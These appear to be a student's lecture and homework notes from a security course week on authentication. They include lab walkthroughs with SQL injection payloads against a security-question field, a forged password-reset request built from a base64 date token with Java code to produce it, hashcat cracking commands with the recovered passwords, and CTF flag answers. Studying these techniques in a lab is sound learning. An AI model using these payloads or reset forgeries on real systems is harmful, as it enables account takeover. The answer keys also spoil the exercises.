Week 7

Tech Session:

Authentication

Text

Description automatically generated with low confidence

Know, have, are. The last one is location/IP address

A screenshot of a phone

Description automatically generated with medium confidence

Text

Description automatically generated

Diagram

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

Diagram

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

Table

Description automatically generated

Graphical user interface, text, application

Description automatically generated

Uses SHA2 or 3

Have you ever used the same password for 2 different accounts?

Have you ever had your password sent to you after you forgot your password? This means they are storing the password in plain text

Graphical user interface, text, application, website

Description automatically generated

HW:

Homework:

* User Authentication: username: admin, password: password
* UA1: change sub session ID to: 0000000000000021
  + For more complex processing, burp has extensions like jython to use python scripts for processing the input
* UA2: We need to spoof a post request
  + Inspect the page script and find the change password url
  + password change link: [https://security.codepath.com//7aed58f3a00087d56c844ed9474c671f8999680556c127a19ee79fa5d7a132e1ChangePass](https://security.codepath.com/7aed58f3a00087d56c844ed9474c671f8999680556c127a19ee79fa5d7a132e1ChangePass)
  + in burp spoof a post request using the link above.
  + In the script, you can also see that you need 3 parameters to change the password: username, newPassword and passwordResetToken. These should go in the body of your burp spoof
  + The reset token is the date which is base64 encoded. Find a online java compiler and use the code:
  + When done, burp will return password change success. Plug admin and new password into lab login.
* UAC3:
  + buzzthebald@shepherd.com
  + Security Question susceptible to SQLI
    - " SELECT \* FROM users; -- doesn't work
    - " or 1=2 UNION ALL SELECT;--
    - " or 1=2 and UNION ALL SELECT;--
    - " or 1=2 and UNION ALL SELECT FROM users;--
    - " UNION ALL SELECT secretAnswer FROM users WHERE username !="";-- returns Lena Andrysiak
  + " UNION ALL SELECT secretAnswer FROM users WHERE username="sean
  + brute force name = sean. returns email = zoidberg24@shepherd.com. use SQLI above to get answer = Ronit Tornincasa.
  + CORRECT WAY:
  + " UNION ALL SELECT secretAnswer FROM users WHERE username="administrator";--
    - returns Aran Keegan
    - can sub administrator with root or manager
* Password Hashing 1:
  + Use hashcat
  + in hashes.txt write
  + hashcat command (set mode to 0 for MD5):
    - hashcat -m 0 -a 0 hashes.txt rockyou-75.txt
* Password Hashing 2:
  + Use hashcat.
  + In hashes.txt write dc6f0dbebfc5747330deeedfbd8475568a740d0a:80808080
  + hashcat command (set mode to 120 for sha1 with salt before):
    - hashcat -m 120 -a 0 hashes.txt rockyou-75.txt
  + pandemonium
* Passwoed Hashing 3:
  + Use hashcat
  + in hashes.txt write
    - FF8D646AC52B7794ADADDAAD606042FF6D2D71C5B91CBF1C11D411C790419CF1651EBE71551CD1973ABAC9D32D1392122CC676F4AA8494E7DA6325A1050FD2DA:31415926535897932384626433832795028841
  + hashcat command (set mode to 1710 for SHA512 with salt after):
    - hashcat -m 1710 -a 0 hashes.txt rockyou-75.txt
  + oleander

CTF:

* Base64 CyberChef : \*CTF{killing your brain like a poisonous mushroom}
* Hex: \*CTF{Bring Da Ruckus}
* [https://xor.pw/#](https://xor.pw/) : \*CTF{36490e09594d000c0a1c48}

Java Code for UA2:

import java.util.Base64;

import java.util.Date;

class Main {

public static void main(String[] args) {

// Create a new date object

Date newDate = new Date();

// Convert to String

String dateToString = String.valueOf(newDate);

// base64 encode string

String resetPasswordToken = Base64.getEncoder().encodeToString(dateToString.getBytes());

//String resetPasswordToken = base64Encode(dateToString.getBytes());

// Print the token

System.out.println("Date: "+newDate+". Use this token: " + resetPasswordToken);

}

}